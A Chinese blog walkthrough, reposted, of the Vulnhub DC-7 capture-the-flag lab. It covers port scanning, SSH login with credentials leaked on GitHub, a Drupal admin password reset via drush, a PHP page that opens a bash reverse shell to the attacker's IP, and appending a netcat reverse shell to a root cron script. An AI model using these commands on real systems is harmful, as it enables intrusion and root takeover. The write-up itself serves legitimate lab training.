自学内容网 自学内容网

Vulnhub靶场案例渗透[7]- DC7

1. 靶场搭建

靶场源地址

检验下载文件的检验码,对比没问题使用vmware打开


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

2. 信息收集

2.1 确定靶机ip

安装之后直接显示了靶机的ip。

2860b45c-86b8-44ac-b6ad-e7f60e035ce4.jpeg

2.2 服务信息收集

通过nmap探测靶机开放端口和端口对应服务

nmap -Ap 1-65535  192.168.6.102

4919a52f-fc39-46d0-9585-0214c424b849.jpeg

确定开放端口:

  • 22:ssh服务
  • 80: http服务,并且由apache服务器启动

2.3 社工信息收集

访问网站发现,并且根据靶场提示信息暴力登录肯定不行,在查看到DC7USER,尝试在github进行搜索用户查询,找到代码的源代码仓库。

e46851bb-1862-418d-8115-70464c908602.jpeg

在代码仓库中发现config.php里面记录了账号密码信息。尝试页面登录失败,尝试ssh登录成功。

04af32cd-f775-44fe-a639-b12d1bd3e45f.jpeg

c52a2668-f2cc-477b-b5e4-d94f32c378b6.jpeg

3. 提权

常见提权方法可参考我之前的文章常见提升权限方法

尝试SUID进行提权, 发现没有可利用的提权的文件

# 查找设置suid标志的文件
find / -perm --4000 -type f

尝试使用sudo进行提权,发现没有sudo这个命令,提权失败。

发现账号经常受到mail提醒,查看mail信息,发现有个定时任务定时执行一个脚本,并且执行身份设置为root,可以利用这个脚本进行提权。
13731e0e-2ee7-4bf2-a3bc-7573dad530ea.jpeg

查看对应脚本的权限信息,发现当前用户没有权限进行修改,需要用户组为www-data的用户才能进行修改,接下来得获取到www-data用户的shell才能进行提权。
b67ff847-b903-4c2f-9234-8d381882fc28.jpeg

发现web页面对应apache启动用户就是www-data.所以又转到web页面去了。

# 查询与某个用户相关的进程
ps -fu www-data

查看那个脚本内容,发现一个drush可以控制drupal框架,查看drush的文档发现可以直接更改用户的密码文档地址


```bash
# 脚本内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

更改之后在wen页面登录成功。

# 更改admin的密码
drush user-password admin --password=admin

d9739ab2-27d9-47a1-97db-fa9d9c6c7086.jpeg

进入后台管理,发现在新建内容可以新建Basic page,大概就是全局页面都会引入这个内容,但是新建内容的时候发现不能写php文件,百度搜索发现添加插件可以解决,然后在拓展处添加php相关插件。插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image.png

在这个页面启用php拓展

46fc145d-a35a-4f0f-8db4-84c96d9a0c4d.jpeg

新建basic-content添加如下内容,点击发布,成功获取到反弹sehll

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.6.106/8888 0>&1'");
?>
# kali执行
nc -lvp 8888

1916a37c-58af-4ab5-a4b6-51b088611e42.jpeg

# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'

拿到shell之后,修改backups.sh的内容,利用定时任务执行反弹sehll获取root权限。根据dc7user的邮件记录,应该是15分钟执行一次。

echo 'nc -e /bin/bash 192.168.6.106 7777' >> /opt/scripts/backups.sh

成功获取到root的shell,在root的家目录下成功获取到目标flag。
d13cc6f2-993e-4407-877e-6f6f83980ea8.jpeg
60082d17-17e1-4cad-bba9-a19380a17a08.jpeg


原文地址:https://blog.csdn.net/qq_45776114/article/details/142883701

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!